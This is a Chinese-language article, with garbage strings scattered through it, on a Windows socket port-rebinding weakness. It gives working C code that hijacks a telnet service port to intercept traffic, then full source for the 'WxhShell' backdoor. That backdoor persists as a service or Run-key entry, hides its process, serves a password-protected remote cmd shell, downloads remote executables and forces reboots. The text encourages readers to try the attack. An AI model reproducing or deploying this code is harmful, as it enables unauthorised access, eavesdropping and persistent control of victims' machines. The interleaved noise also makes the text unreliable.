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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: rZAP3)dA s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zl, Vj%d '0Q/oU saddr.sin_family = AF_INET; sCf)#6mI ow+_g R- saddr.sin_addr.s_addr = htonl(INADDR_ANY); D3tcwjXoW_ Qp@}v7Due bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^c}kVQ\g3 >YdLB@ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [pt U} 2L.6!THG 这意味着什么?意味着可以进行如下的攻击: y`z?lmV)xM \R
3O39[ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 HKC&grp Wa!C2nB 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `OZiN;*| 1k%HGQM{ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Ea[SS@'R .*?-j?U. 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Dz$dJF1
8 "-HWw?rx/ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 jlyuu u3cl7~- yW 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 on7?V< l>oJ^J 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 : t
D`e< ;Rxc(tR!n #include aMK\&yZD #include z2A,*|I #include 9+Wf*:*EW #include ?5[$d{ Gjl DWORD WINAPI ClientThread(LPVOID lpParam); !6 kn>447Y int main() 3z k},8fu { K,bX<~e5 WORD wVersionRequested; v# fny DWORD ret; _GoFwVO WSADATA wsaData; T0o0_R BOOL val; qP9`p4c8i SOCKADDR_IN saddr; b$/7rVH! SOCKADDR_IN scaddr; y?iW^>|?L= int err; !@h)3f]`1G SOCKET s; MbQ%'z6D SOCKET sc; /.UISArH int caddsize; S2
-J1x2N HANDLE mt; (V}?y:) DWORD tid; )ItW}1[I wVersionRequested = MAKEWORD( 2, 2 ); nx!+:P , err = WSAStartup( wVersionRequested, &wsaData ); T#}"?A| if ( err != 0 ) { GG4FS printf("error!WSAStartup failed!\n"); Jg&f. return -1; U*BI/wZ } Xag#ZT saddr.sin_family = AF_INET; wO]H+t usU6, //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %mS>v| iML?`%/vN saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 'kJyE9*xU. saddr.sin_port = htons(23); K7,Sr1O ` if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y+',jM { (
_MY;S printf("error!socket failed!\n"); ]0")iY_ return -1; A*kN
I } *"V) hI5 val = TRUE; u&j_;Y !6 //SO_REUSEADDR选项就是可以实现端口重绑定的 $b) k if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ] $F% { uOx"oR| printf("error!setsockopt failed!\n"); &<(&u`S return -1; bW GMgC } Rf!$n7& \ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,}^FV~ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Rz<'&Z>; //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "!#KQ''R H96|{q= if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Jb|dpu/e { Q*9Y.W. 8 ret=GetLastError(); ?{1& J9H printf("error!bind failed!\n"); 9$ixjkIg return -1; F>k/;@d } =_$Hn>vO listen(s,2); 4@jX{{^6% while(1) ^aqBL { q3u:Tpn4% caddsize = sizeof(scaddr); );xTl6Y9 //接受连接请求 gZL,xX sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); DLoH.Fd if(sc!=INVALID_SOCKET) VP }To { A ?[Wfq| mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); MwD8a<2Dg if(mt==NULL) &3 x
[0DV { K*tomy printf("Thread Creat Failed!\n"); ,UxAHCR~9 break; *3(mNpi{_ } > q8)~ } riSgb=7q9 CloseHandle(mt); |cl*wFm|3 } /b."d\ closesocket(s); 1(WBvAPS WSACleanup(); 5?>ES* return 0; C|S~>4` } `>HrO}x^ DWORD WINAPI ClientThread(LPVOID lpParam) kq>I?wg { L1MG("R SOCKET ss = (SOCKET)lpParam; =<r1sqf
SOCKET sc; XJA];9^ unsigned char buf[4096]; Z1U@xQj SOCKADDR_IN saddr; I(qFIV+HR long num; "8\2w]" DWORD val; Lr*\LP6jx3 DWORD ret;
[$`%ve //如果是隐藏端口应用的话,可以在此处加一些判断 .|KBQMI //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 /Uni6O)oc saddr.sin_family = AF_INET; OyIIJ!( saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dlioa Yc saddr.sin_port = htons(23); [I(
Yn if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;IR.6k$; { ,b t
j6hg printf("error!socket failed!\n"); rb]?"lizi return -1; |}o3EX } x-~=@oiv val = 100; Am"&ApK if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5wC,:c[H7 { }`+9ie7]/ ret = GetLastError(); Cq}E5M return -1; yXCHBz 6& } yg82a7D if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4i+H(d n { jaQH1^~l/- ret = GetLastError(); 1;~|[C return -1; 9D7i>e%,;- } !9_'_8 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) e. R9: { ggy9euWV printf("error!socket connect failed!\n"); CsN^u H closesocket(sc); cT
nC closesocket(ss); V}Ce3wgvA return -1; FQ u c}A } *eMMfxFl while(1) !iW>xo { 8Y/1+- //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %m-U:H.Vp //如果是嗅探内容的话,可以再此处进行内容分析和记录 8;x0U`}Ez( //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 T _fM\jdI num = recv(ss,buf,4096,0); +.QJZo_ if(num>0) _[/#t|I} send(sc,buf,num,0); !gJw?(8" else if(num==0) /25Ay break; s133N? num = recv(sc,buf,4096,0); 0x fF if(num>0) 7\yh<?`V8 send(ss,buf,num,0); k +Cwnp else if(num==0) &"^U=f@v break; sEi9<$~R@0 } ZKai*q4? closesocket(ss); sGc.;": closesocket(sc); I5ZM U return 0 ; U+&Eps&NI } dj{~!} ;*WG9Y(W >+):eBL ========================================================== T@a|*.V R$;TX^r'o& 下边附上一个代码,,WXhSHELL )T^xDx i:1
@ vo ========================================================== ?@;#|^k9
PJ^qE|X #include "stdafx.h" J|`.d46 IRTD(7"oyp #include <stdio.h> wZWAx #include <string.h> pj7v{H + #include <windows.h> 1:J+`mzpl #include <winsock2.h> z7TyS.z #include <winsvc.h> 6w[EJ;=p_ #include <urlmon.h> wOsg,p;\' W:K '2j #pragma comment (lib, "Ws2_32.lib") PlCj<b1D: #pragma comment (lib, "urlmon.lib") BAtjYPX'w jwP5pu #define MAX_USER 100 // 最大客户端连接数 ^!gq_x #define BUF_SOCK 200 // sock buffer fElFyOo+ #define KEY_BUFF 255 // 输入 buffer uaZHM@D 5]n\E?V'L #define REBOOT 0 // 重启 U>DCra; #define SHUTDOWN 1 // 关机 uF<?y0t ~0@fK<C)O #define DEF_PORT 5000 // 监听端口 !;0K=~(Y^ l2I%$|)d #define REG_LEN 16 // 注册表键长度 1xInU_SPf #define SVC_LEN 80 // NT服务名长度 #/{3qPN?@ BvUiH<-D // 从dll定义API =}.gU WV typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P>(FCX typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); IhOAMH1 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?:G 3U\M typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); buT6)~lw c3r`T{Kf // wxhshell配置信息 AREjS$ struct WSCFG { bF5"ab0 int ws_port; // 监听端口 <_#2+7Qs char ws_passstr[REG_LEN]; // 口令 f+8 QAvh int ws_autoins; // 安装标记, 1=yes 0=no bkS"]q)> char ws_regname[REG_LEN]; // 注册表键名 \`E^>6!]q char ws_svcname[REG_LEN]; // 服务名 ?'_6M4UKa char ws_svcdisp[SVC_LEN]; // 服务显示名 gtePo[ZH.P char ws_svcdesc[SVC_LEN]; // 服务描述信息 B9Hib1<8 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fH$#vRcq int ws_downexe; // 下载执行标记, 1=yes 0=no mhy='AQJ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 9zY6hh** char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vrcIwCa k81%$E }; 5DVYHN9c| V@[C=K // default Wxhshell configuration {Wu[e,p struct WSCFG wscfg={DEF_PORT, ]qxl^Himq "xuhuanlingzhe", Dp!91NgB p 1, 2t
PfIg "Wxhshell", {Ay dt8 "Wxhshell", ~9E_L?TW* "WxhShell Service", T^(> 8/O "Wrsky Windows CmdShell Service", L#zD4L "Please Input Your Password: ", P-3f51 Q 1, =1@LMIi5x " http://www.wrsky.com/wxhshell.exe", EC 1|$Co "Wxhshell.exe" Pc2!OQC'"" }; UtP|<]{ ^39lUKL // 消息定义模块 : ^("L,AF char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M:b#">M char *msg_ws_prompt="\n\r? for help\n\r#>"; 8;r #HtFM char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; *0to,$ n char *msg_ws_ext="\n\rExit."; _{-[1-lN5_ char *msg_ws_end="\n\rQuit."; dDIR~!T char *msg_ws_boot="\n\rReboot..."; ]!&$&t8. char *msg_ws_poff="\n\rShutdown..."; G]4Ca5;Z!N char *msg_ws_down="\n\rSave to "; m(*rMO>_ n,2
char *msg_ws_err="\n\rErr!"; =^i K^) char *msg_ws_ok="\n\rOK!"; *3rs+0 ft$RF char ExeFile[MAX_PATH]; -%@ah:iJ int nUser = 0; 5doi4b>]! HANDLE handles[MAX_USER]; lo(C3o' int OsIsNt; w jD<"p;P 8|)^m[c& SERVICE_STATUS serviceStatus; @XXPJq;J SERVICE_STATUS_HANDLE hServiceStatusHandle; WgqSw%:$H n:P:im?,y* // 函数声明 @OkoT: int Install(void); W\NC3] int Uninstall(void); N2"B\ int DownloadFile(char *sURL, SOCKET wsh); KmTFJ,iM int Boot(int flag); w"wW0uE^ void HideProc(void); qz{9ND|) int GetOsVer(void); M/dgW`c int Wxhshell(SOCKET wsl); @uldD"MJ<] void TalkWithClient(void *cs); <|jh3Hlp int CmdShell(SOCKET sock); <r.QS[:h int StartFromService(void); )*>wa%[-q int StartWxhshell(LPSTR lpCmdLine); cw{TS \yC /OLXq VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0o"aSCq8t VOID WINAPI NTServiceHandler( DWORD fdwControl ); W(R~K - &29jg_'W // 数据结构和表定义 | @$I< SERVICE_TABLE_ENTRY DispatchTable[] = L*tfYonq { w2'q9pB+ {wscfg.ws_svcname, NTServiceMain}, >ItT269G {NULL, NULL} dpw-a4o} }; ; Byt'S fg3Jv* // 自我安装 c|;n)as9(% int Install(void) oV0T
{ 9K/EteS char svExeFile[MAX_PATH]; V<J1.8H
HKEY key; [I3Nu8 strcpy(svExeFile,ExeFile); ;=jF9mV. V<W;[#" // 如果是win9x系统,修改注册表设为自启动 xdgAu if(!OsIsNt) { [Hx(a.,d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2&>t,;v@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4,z|hY_*t RegCloseKey(key); YE~IO5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ds9'k. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N=KtW?C RegCloseKey(key); A5TSbW']+5 return 0; abQ.N } '<BLkr# @ } t]@>kAA>2L } jDpA>{O[ else { 94BH{9b5 \&hq$ // 如果是NT以上系统,安装为系统服务 z3K$gEve SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dAx
? , if (schSCManager!=0) i[IFD]Xy!j { C$TU
TS SC_HANDLE schService = CreateService ou <3}g ( XGR2L
DR schSCManager, t{jY@JT| wscfg.ws_svcname, b>OB}Is wscfg.ws_svcdisp,
Rzg;GH SERVICE_ALL_ACCESS, = IRot SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , u,So+% SERVICE_AUTO_START, *VsVCUCz5* SERVICE_ERROR_NORMAL, )|xu5.F svExeFile, Q_0+N3 NULL, FL^ _)` NULL, z&amYwQcI NULL, 9 A ?{}c NULL, Lz.khE< NULL t.28IHJ ); WJhTU@' if (schService!=0) mG&A_/e!9 { e"%TU CloseServiceHandle(schService); gHBv Q1g CloseServiceHandle(schSCManager); $h{m")] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :^3 )[.m strcat(svExeFile,wscfg.ws_svcname); KD &nLm! if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cQ j`W
* RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I"88O4\@ RegCloseKey(key); +9b{Y^^~T return 0; KHML!f=mu } >nghFm } S@HC$ CloseServiceHandle(schSCManager); :}zyd;Rc } |NZi2Bu } @F<{/|P Wn(!6yid return 1; U]sAYp^$ } sX%n` L ~{/M_
= // 自我卸载 Bdw33z*m int Uninstall(void) PlzM`g$A { 3y}E*QE HKEY key; d^aVP #y:D{%Wp if(!OsIsNt) { g8##Be if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c a_mift RegDeleteValue(key,wscfg.ws_regname); "CJ~BJI% RegCloseKey(key); H~+A6g]T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e
c&Y2 RegDeleteValue(key,wscfg.ws_regname); kL*P 3
0 RegCloseKey(key); #uhUZq return 0; 2e1KF=N+ } 6WY/[TC- } sE% $]Jp } Z
v@nK%#J else { o%t4WQ|bj 5CFNBb%Xy SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Qu61$! if (schSCManager!=0) nnv|GnQST { q*3OWr SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?uq`| 1` if (schService!=0) ApCU|*r) { ]$@a.#} if(DeleteService(schService)!=0) { xak)YOLRV CloseServiceHandle(schService); F}nwTras CloseServiceHandle(schSCManager); 'ZuS return 0; y!#-[K: } @(,1}3s CloseServiceHandle(schService); !{lH* } XDemdMy$ CloseServiceHandle(schSCManager); l*1|B3#m! } e3p|g] } |"gL{De y@3p5o9lv- return 1; t%lat./yT } H$h#n~W~ j<p.#jkT // 从指定url下载文件 I%3[aBz4 int DownloadFile(char *sURL, SOCKET wsh) M|*YeVs9# { XIdh9)]^} HRESULT hr; 32YbBGDN!f char seps[]= "/"; ;o9h|LRs char *token; dht0PZdx? char *file; =u<:'\_ char myURL[MAX_PATH]; dkC[SG`
char myFILE[MAX_PATH]; cV+?j}"*+ MVYd\)\o strcpy(myURL,sURL); *LEy#N token=strtok(myURL,seps); oACAC+CP while(token!=NULL) CxFd/X, { %!<Y file=token; ;77K1 token=strtok(NULL,seps); |\,OlX, } [8iY0m_Qe S+T/(-W GetCurrentDirectory(MAX_PATH,myFILE); h aAY =: strcat(myFILE, "\\"); ')"+ a^c strcat(myFILE, file); CvoFt=c$jE send(wsh,myFILE,strlen(myFILE),0); npdljLN send(wsh,"...",3,0); 928_e)V hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ue_wuZi if(hr==S_OK) I^y<W%Et return 0; UY',n, else _?tpO61g> return 1; %fj5;}E. {X!OK3e } rW{!8FhI 0pZvW // 系统电源模块 1R2IlUlzFr int Boot(int flag) &9yZfp { QUrPV[JQ HANDLE hToken; F$7!j$
Z TOKEN_PRIVILEGES tkp; _'=,c" 40t xZFQ0 if(OsIsNt) { (\AN0_ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); --5F*a{R| LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [l23b{ tkp.PrivilegeCount = 1; -YA,Stc- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0fsVbC AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -vvyG if(flag==REBOOT) { @-$8)?`q if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #<*Vc6pC return 0; AC,RS7 } -o ).< else { FdU]!GO-X if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Gw*Tz" return 0; Z8|<%1Kge }
}v ZOPTP } *1)>He$qL else { GJ ^c^` if(flag==REBOOT) { WK{`_c
U^ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 51|ky- return 0;
~>u.d } cQU/z"?+ else { s3>a if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Gl~l return 0; oZ'a}kF } #HUn~r } yXJhOCa W2vL< return 1; DR#" 3 } 5UEZpxnv ~7]V^tG // win9x进程隐藏模块 *8}b&4O~ void HideProc(void) t-\+t<; { Q0U~s\< wI%M3XaBws HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1h,iWHC if ( hKernel != NULL ) /5@YZ?|#2 { &.)=>2 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |2(q9j ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;ArwEzo( FreeLibrary(hKernel); @Cj!MZ=T } $RD~,<oEm ?cV,lak return; zm_8a!.
} o4Q?K.9c QYH-"-) // 获取操作系统版本 \nl(tU#j int GetOsVer(void) SI7rTJ]/ { @^,q/%; OSVERSIONINFO winfo; >ahDc!Jyu winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y
;Ym=n' GetVersionEx(&winfo); Xaq;d' if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hkMeUxS return 1; l]*RiK2AC else 7)Toj return 0; QS#@xhH } n:@!vV
vW+6_41ZM // 客户端句柄模块 `ecseBn3d int Wxhshell(SOCKET wsl) Bx?3E^!T { @v-^j SOCKET wsh; }[p{%:tP struct sockaddr_in client; PgBEe
@. DWORD myID; '.A!IGsj 8`4M4"lj while(nUser<MAX_USER) DX_mrG { e(c\ U}& int nSize=sizeof(client); _4S^'FDo
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "hIYf7r## if(wsh==INVALID_SOCKET) return 1; $WA wMS, IiYL2JS;t| handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xR+vu>f if(handles[nUser]==0) N`8K1{>BH closesocket(wsh); ]2AOW}= else @Z5q2Q nUser++; k/K)nH@) } RX gb/VR WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AWO)]rM #6 M]tr return 0; 5y#,z`S } E_,/)U8 *^?tr?e%I< // 关闭 socket T7[@ lMa? void CloseIt(SOCKET wsh) O
NabL.CV { hx$]fvDevD closesocket(wsh); J)|3jbX"I] nUser--; Y>x{ [er ExitThread(0); EC+t-:a] } CK_dEh2c j7I=2xnTWu // 客户端请求句柄 R7::f\I void TalkWithClient(void *cs) v+ $3 { 4_#$k{ 4I4m4^ SOCKET wsh=(SOCKET)cs; 6N/(cUXJ char pwd[SVC_LEN]; ghQ B char cmd[KEY_BUFF]; =G-OIu+H!U char chr[1]; .:S/x{~ int i,j; "K{_?M`;e
}x'*3zI while (nUser < MAX_USER) { 6)INr,d AL]gK)R if(wscfg.ws_passstr) { .$U,bE if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QV|6"4\ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *D]:{#C* //ZeroMemory(pwd,KEY_BUFF); DV5hTw0 i=0; Q'<AV1< while(i<SVC_LEN) { .S` q2C\ :V/".K-:J // 设置超时 6H#:rM fd_set FdRead; Ycr3$n]e struct timeval TimeOut; ~&?([}A FD_ZERO(&FdRead); J8'"vc} = FD_SET(wsh,&FdRead); WK%cbFq( TimeOut.tv_sec=8; XYcZ;Z 9: TimeOut.tv_usec=0; g]~vZj int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /T _M't@j if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %i9S" !6/UwPs if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {vu\qXmMv pwd =chr[0]; oO2DPcK if(chr[0]==0xd || chr[0]==0xa) { - H?c4? 5 pwd=0; ;&d#)&O"e break; 91R#/i } YidcV lOsO i++; Wa;N(zw0h } O8;/oL4 U 9o@3$ // 如果是非法用户,关闭 socket i?T-6{3I if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q 3WD!Z8y } cU;Bm}U w2B)$u send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^t0!Dbx3SE send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .6y+van E\iK_'# while(1) { ?P9aXwc K^WDA]) ZeroMemory(cmd,KEY_BUFF); %.bDK} 1_Yx]%g< // 自动支持客户端 telnet标准 C4m+Ta% j=0; r8:r}Qj2w[ while(j<KEY_BUFF) { P(T-2Ux6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ca-"3aQkc cmd[j]=chr[0]; f2gtz{r if(chr[0]==0xa || chr[0]==0xd) { AG(6. cmd[j]=0; KhjC'CU, break; `Vvi]>,cg` } ^G4YvS( j++; TQR5V\{&% } CJ<nUIy'z y|LHnNQ // 下载文件 cAR
`{%b if(strstr(cmd,"http://")) { k*1Lr\1 send(wsh,msg_ws_down,strlen(msg_ws_down),0); \M`qaFan5^ if(DownloadFile(cmd,wsh)) +wi=IrRr send(wsh,msg_ws_err,strlen(msg_ws_err),0); zTng]Mvx else lZk
z\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CE"/&I } .s{"NqRA else { x`6MAZ LOU P switch(cmd[0]) { BlJiHz! p4T$(]7 // 帮助 b0~r/M;J case '?': { n/9afIN send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V%-hP~nyBx break; V60L\?a } Q[OwP // 安装 .`D'eS6b case 'i': { 0)&!$@HW if(Install()) x%dny]O1; send(wsh,msg_ws_err,strlen(msg_ws_err),0); VMah3T! else %lCZ7z2o send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H-_gd.VD break; !Fl'?Kz } g*$2qKm // 卸载 /WQ.,a case 'r': { "#C2+SKM1 if(Uninstall()) 3Gs\Q{O: send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5=o ^/Vkc else 2@S}x@^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (Yewd/T break; }UyQGRZ= } ZthT('"a // 显示 wxhshell 所在路径 +tPBm{| case 'p': { %`]+sg[i char svExeFile[MAX_PATH]; qzW3MlD strcpy(svExeFile,"\n\r"); 7(@xk_Pl strcat(svExeFile,ExeFile); "0eX/rY% send(wsh,svExeFile,strlen(svExeFile),0); D!`;v Z\> break; ,X!6|l8 } Q}#Je.; // 重启 |=;hQ2HyF case 'b': { xQsxc send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G+dq
*/ if(Boot(REBOOT)) sq$v6x sl send(wsh,msg_ws_err,strlen(msg_ws_err),0); DI\=udN else { 5dj" UxH closesocket(wsh); ]\*^G@HA2 ExitThread(0); 3d}v?q78 } NQ{(G8x9 break; tSHW"R } +M"j#H // 关机 wR%Ta - case 'd': { jOGdq;| send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); FGDVBUY@
if(Boot(SHUTDOWN)) aAjl
58 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;UQza ]i else { `Gio
2gl9 closesocket(wsh); D4VDWv ExitThread(0); y_m+&Oe } aHN"I
break; 8c5YX } 6b|<$Je9 // 获取shell R`(2Fy%0\k case 's': { 9KVJk</:n CmdShell(wsh); ]BO:*&O closesocket(wsh); >.meecE?Q ExitThread(0);
33oW3vS break; c}(H*VY2n } Z- feMM // 退出 C8m 9H8Qm case 'x': { b,'O|s]"Sc send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 01A{\O1$j CloseIt(wsh); A.>mk598 break; 'rB%a< } JL6$7h // 离开 4>,X.|9{ case 'q': { GD4S/fn3 send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9@|52dz% closesocket(wsh); UGAV"0 WSACleanup(); t6"%u3W8M exit(1); (%6fMVp break; |nNcV~%~ } Sf?;j{?G } Vuz.b.,i` } R*r4)+gd v~mVf.j1 // 提示信息 ?+]=|hN if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZDW9H6ux } i<Z% } B|m)V9A%- OjGI
! return; :8`A }
KQr+VQdq> 03~ ADj // shell模块句柄 RqA>" [L int CmdShell(SOCKET sock) W %*#rcdq { O,r;-t4vYU STARTUPINFO si; p!pf2}6Fd ZeroMemory(&si,sizeof(si)); X.b8qbnq[ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ll]5u~ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CXq[VYM&X PROCESS_INFORMATION ProcessInfo; 81Z;hO"~ char cmdline[]="cmd";
f"s_dR CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \]>YLyG return 0; ~e}JqJ(97 } 6q^$}eOt A|ZT;\ // 自身启动模式 JX&U?Z int StartFromService(void) WFF?VBT'^ { 3m>YR-n$ typedef struct 7${<u 0((! { #
55>? DWORD ExitStatus; i(.e=
DWORD PebBaseAddress; D
/QLp3+o DWORD AffinityMask; %0GwO%h}, DWORD BasePriority; \OW:- ULONG UniqueProcessId; I
Cc{ 2l ULONG InheritedFromUniqueProcessId; WZ-~F/:c% } PROCESS_BASIC_INFORMATION; NsB]f{7>8+ 19$A!kH\ PROCNTQSIP NtQueryInformationProcess; /S]$Hu| #QwkRzVoy static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %5e| static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c!\Gj| *^-AOSVt, HANDLE hProcess; a&'9[9E1 PROCESS_BASIC_INFORMATION pbi; |.)LZP, :qE.(k1@5 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $9G&
